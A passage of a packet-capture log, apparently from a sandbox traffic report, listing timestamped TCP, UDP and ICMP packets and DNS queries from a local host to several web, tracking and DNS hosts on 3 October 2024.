Oct 3, 2024 18:19:55.298937082 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.298944950 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298964024 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.298978090 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299024105 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299123049 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299174070 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299205065 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299216986 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299256086 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299479008 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299527884 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299572945 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299590111 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299614906 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299834967 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299882889 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299902916 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.299920082 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.299966097 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.300498962 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300551891 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300575018 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.300586939 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300631046 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.300807953 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300848961 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300879955 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.300899982 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.300926924 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.300926924 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.301676989 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.301724911 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.301763058 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.301774979 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.301801920 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.335468054 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.336060047 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.352056980 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.384713888 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.384779930 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.384968996 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.384968996 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.384979010 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385071039 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385118008 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385132074 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385132074 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385154963 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385200024 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385200024 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385349035 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385391951 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385518074 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385562897 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385566950 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385562897 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385627985 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.385678053 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.385678053 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.386188030 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.386269093 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.386348009 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.386378050 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.395828009 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.395910978 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.396008968 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.396200895 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.396220922 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.453130007 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.453408003 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.453496933 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.454025984 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.454070091 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.876055956 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.876358032 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.876398087 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.879918098 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.880017996 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.880338907 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.880517960 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.880685091 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:55.880700111 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:55.929042101 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.009253979 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.009458065 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.009526014 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.009589911 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.009589911 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.009624958 CEST	443	49861	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.009675980 CEST	49861	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.010040998 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.010083914 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.010165930 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.010384083 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.010401011 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.502072096 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.502386093 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.502419949 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.503971100 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.504292011 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.504415989 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.504422903 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.504703999 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.551129103 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.708796978 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.709542036 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.709609985 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.709743977 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.709770918 CEST	443	49862	35.190.80.1	192.168.2.16
Oct 3, 2024 18:19:56.709784031 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:19:56.709822893 CEST	49862	443	192.168.2.16	35.190.80.1
Oct 3, 2024 18:20:04.057287931 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.057348967 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.057440042 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.057897091 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.057917118 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.562087059 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.562397957 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.562432051 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.563596964 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.563909054 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.564078093 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.564080000 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.611402035 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.614088058 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.709841013 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.709991932 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.710100889 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.710930109 CEST	49863	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:20:04.710995913 CEST	443	49863	172.67.185.164	192.168.2.16
Oct 3, 2024 18:20:04.714658976 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:04.714756966 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:04.714865923 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:04.715136051 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:04.715169907 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.178744078 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.179044962 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.179105997 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.179820061 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.180131912 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.180228949 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.180268049 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.220119953 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.220148087 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.317109108 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.317254066 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:05.317322969 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.318830967 CEST	49864	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:20:05.318867922 CEST	443	49864	104.21.32.108	192.168.2.16
Oct 3, 2024 18:20:09.120402098 CEST	49865	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:20:09.120452881 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.120522976 CEST	49865	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:20:09.120825052 CEST	49865	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:20:09.120841980 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.774589062 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.774925947 CEST	49865	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:20:09.774960041 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.776201963 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.776513100 CEST	49865	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:20:09.776704073 CEST	443	49865	142.250.184.228	192.168.2.16
Oct 3, 2024 18:20:09.822097063 CEST	49865	443	192.168.2.16	142.250.184.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 18:18:04.228863955 CEST	53	58795	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.327100039 CEST	53	51922	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:05.666477919 CEST	53	50307	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:06.227543116 CEST	58667	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:06.228010893 CEST	61553	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:06.241755009 CEST	53	61553	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:06.261064053 CEST	53	58667	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:07.945269108 CEST	49847	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:07.945624113 CEST	49355	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:07.966344118 CEST	53	49847	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:07.970033884 CEST	53	49355	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:09.005070925 CEST	61011	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:09.005249023 CEST	64280	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:09.012976885 CEST	53	64280	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:09.015455008 CEST	53	61011	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:09.415359974 CEST	55374	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:09.415568113 CEST	55261	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:09.430694103 CEST	53	55374	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:09.431159019 CEST	53	55261	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.148422956 CEST	61385	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.148583889 CEST	59739	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.160649061 CEST	53	61385	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.171125889 CEST	53	59739	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.355617046 CEST	55632	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.355818033 CEST	58975	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.358129025 CEST	63162	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.358395100 CEST	52981	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.358783007 CEST	54040	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.358952045 CEST	50237	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:12.365155935 CEST	53	52981	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.368098021 CEST	53	63162	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.368860006 CEST	53	54040	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:12.372842073 CEST	53	50237	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:13.525525093 CEST	64765	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:13.525732994 CEST	54920	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:13.533689022 CEST	53	54920	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:13.533732891 CEST	53	64765	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:13.563452959 CEST	50044	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:13.564523935 CEST	54057	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:13.571477890 CEST	53	50044	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:13.573426962 CEST	53	54057	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:13.999099016 CEST	49408	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:13.999416113 CEST	57018	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:14.045182943 CEST	53	65092	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:14.961610079 CEST	60730	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:14.961982965 CEST	61141	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:14.993551970 CEST	53	61141	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:15.004112959 CEST	53	60730	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:16.405812979 CEST	55930	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:16.405961037 CEST	53070	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:16.415169954 CEST	53	55930	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:16.416954994 CEST	53	53070	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:18.066931009 CEST	57334	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:18.067163944 CEST	52983	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:18.073916912 CEST	53	57334	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:18.075254917 CEST	53	52983	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:18.576328993 CEST	52604	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:18.576488972 CEST	55805	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:18.584764004 CEST	53	52604	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:18.613595009 CEST	53	55805	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:20.226331949 CEST	51791	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:20.226457119 CEST	50223	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:20.235033989 CEST	53	51791	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:20.235176086 CEST	53	50223	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:22.913007975 CEST	53	61455	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:41.638485909 CEST	53	55531	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:04.201766014 CEST	53	63486	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:04.405265093 CEST	53	49506	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:07.886719942 CEST	138	138	192.168.2.16	192.168.2.255
Oct 3, 2024 18:19:09.067462921 CEST	60705	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:09.067632914 CEST	54265	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:09.074421883 CEST	53	60705	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:09.074837923 CEST	53	54265	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:32.047069073 CEST	53	60555	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:44.868105888 CEST	55044	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:44.868201971 CEST	61132	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:44.903135061 CEST	53	55044	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:44.929497004 CEST	53	61132	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:47.138300896 CEST	57986	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:47.138437986 CEST	59759	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:47.210618019 CEST	53	57986	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:47.352394104 CEST	53	59759	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:47.906232119 CEST	54363	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:47.906399012 CEST	58365	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:47.925637007 CEST	53	54363	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:47.948879004 CEST	53	58365	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:48.705519915 CEST	53	60267	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:50.192131996 CEST	60514	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:50.192259073 CEST	58790	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:50.209058046 CEST	53	60514	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:50.377404928 CEST	53	58790	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:53.389554977 CEST	53	58560	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:55.387499094 CEST	64733	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:55.387655020 CEST	62322	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:19:55.395054102 CEST	53	64733	1.1.1.1	192.168.2.16
Oct 3, 2024 18:19:55.395468950 CEST	53	62322	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 3, 2024 18:18:14.045273066 CEST	192.168.2.16	1.1.1.1	c23a	(Port unreachable)	Destination Unreachable
Oct 3, 2024 18:18:18.613673925 CEST	192.168.2.16	1.1.1.1	c28d	(Port unreachable)	Destination Unreachable
Oct 3, 2024 18:19:44.929627895 CEST	192.168.2.16	1.1.1.1	c232	(Port unreachable)	Destination Unreachable
Oct 3, 2024 18:19:47.352646112 CEST	192.168.2.16	1.1.1.1	c24e	(Port unreachable)	Destination Unreachable
Oct 3, 2024 18:19:50.377543926 CEST	192.168.2.16	1.1.1.1	c28f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 18:18:06.227543116 CEST	192.168.2.16	1.1.1.1	0xa120	Standard query (0)	vaultdores.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:06.228010893 CEST	192.168.2.16	1.1.1.1	0x55e3	Standard query (0)	vaultdores.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:07.945269108 CEST	192.168.2.16	1.1.1.1	0x1017	Standard query (0)	kindacoil.site	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:07.945624113 CEST	192.168.2.16	1.1.1.1	0xa850	Standard query (0)	kindacoil.site	65	IN (0x0001)	false
Oct 3, 2024 18:18:09.005070925 CEST	192.168.2.16	1.1.1.1	0x4cfb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:09.005249023 CEST	192.168.2.16	1.1.1.1	0xb60c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:09.415359974 CEST	192.168.2.16	1.1.1.1	0x7fea	Standard query (0)	pawern.markiwalk.lat	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:09.415568113 CEST	192.168.2.16	1.1.1.1	0x3bae	Standard query (0)	pawern.markiwalk.lat	65	IN (0x0001)	false
Oct 3, 2024 18:18:12.148422956 CEST	192.168.2.16	1.1.1.1	0xee68	Standard query (0)	pawern.markiwalk.lat	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.148583889 CEST	192.168.2.16	1.1.1.1	0xb2f0	Standard query (0)	pawern.markiwalk.lat	65	IN (0x0001)	false
Oct 3, 2024 18:18:12.355617046 CEST	192.168.2.16	1.1.1.1	0xa7ac	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.355818033 CEST	192.168.2.16	1.1.1.1	0x82d4	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:12.358129025 CEST	192.168.2.16	1.1.1.1	0x4681	Standard query (0)	s3.us-west-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.358395100 CEST	192.168.2.16	1.1.1.1	0xcca1	Standard query (0)	s3.us-west-2.amazonaws.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:12.358783007 CEST	192.168.2.16	1.1.1.1	0xab65	Standard query (0)	trk-elevostra.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.358952045 CEST	192.168.2.16	1.1.1.1	0xe160	Standard query (0)	trk-elevostra.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:13.525525093 CEST	192.168.2.16	1.1.1.1	0xc07a	Standard query (0)	s3.us-west-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.525732994 CEST	192.168.2.16	1.1.1.1	0x767c	Standard query (0)	s3.us-west-2.amazonaws.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:13.563452959 CEST	192.168.2.16	1.1.1.1	0xe369	Standard query (0)	trk-elevostra.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.564523935 CEST	192.168.2.16	1.1.1.1	0xe93c	Standard query (0)	trk-elevostra.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:13.999099016 CEST	192.168.2.16	1.1.1.1	0xce0c	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.999416113 CEST	192.168.2.16	1.1.1.1	0xac81	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:14.961610079 CEST	192.168.2.16	1.1.1.1	0x8c1	Standard query (0)	p.sitemana.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:14.961982965 CEST	192.168.2.16	1.1.1.1	0x9ba0	Standard query (0)	p.sitemana.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:16.405812979 CEST	192.168.2.16	1.1.1.1	0xae84	Standard query (0)	trk-dynamoris.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:16.405961037 CEST	192.168.2.16	1.1.1.1	0x11be	Standard query (0)	trk-dynamoris.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:18.066931009 CEST	192.168.2.16	1.1.1.1	0xcecc	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:18.067163944 CEST	192.168.2.16	1.1.1.1	0x8e61	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:18.576328993 CEST	192.168.2.16	1.1.1.1	0x370a	Standard query (0)	event.trk-elevostra.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:18.576488972 CEST	192.168.2.16	1.1.1.1	0x1abe	Standard query (0)	event.trk-elevostra.com	65	IN (0x0001)	false
Oct 3, 2024 18:18:20.226331949 CEST	192.168.2.16	1.1.1.1	0xf296	Standard query (0)	event.trk-elevostra.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:20.226457119 CEST	192.168.2.16	1.1.1.1	0xbc20	Standard query (0)	event.trk-elevostra.com	65	IN (0x0001)	false
Oct 3, 2024 18:19:09.067462921 CEST	192.168.2.16	1.1.1.1	0x86d0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:09.067632914 CEST	192.168.2.16	1.1.1.1	0xd71	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 18:19:44.868105888 CEST	192.168.2.16	1.1.1.1	0x77e8	Standard query (0)	shineheater.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:44.868201971 CEST	192.168.2.16	1.1.1.1	0x29d6	Standard query (0)	shineheater.com	65	IN (0x0001)	false
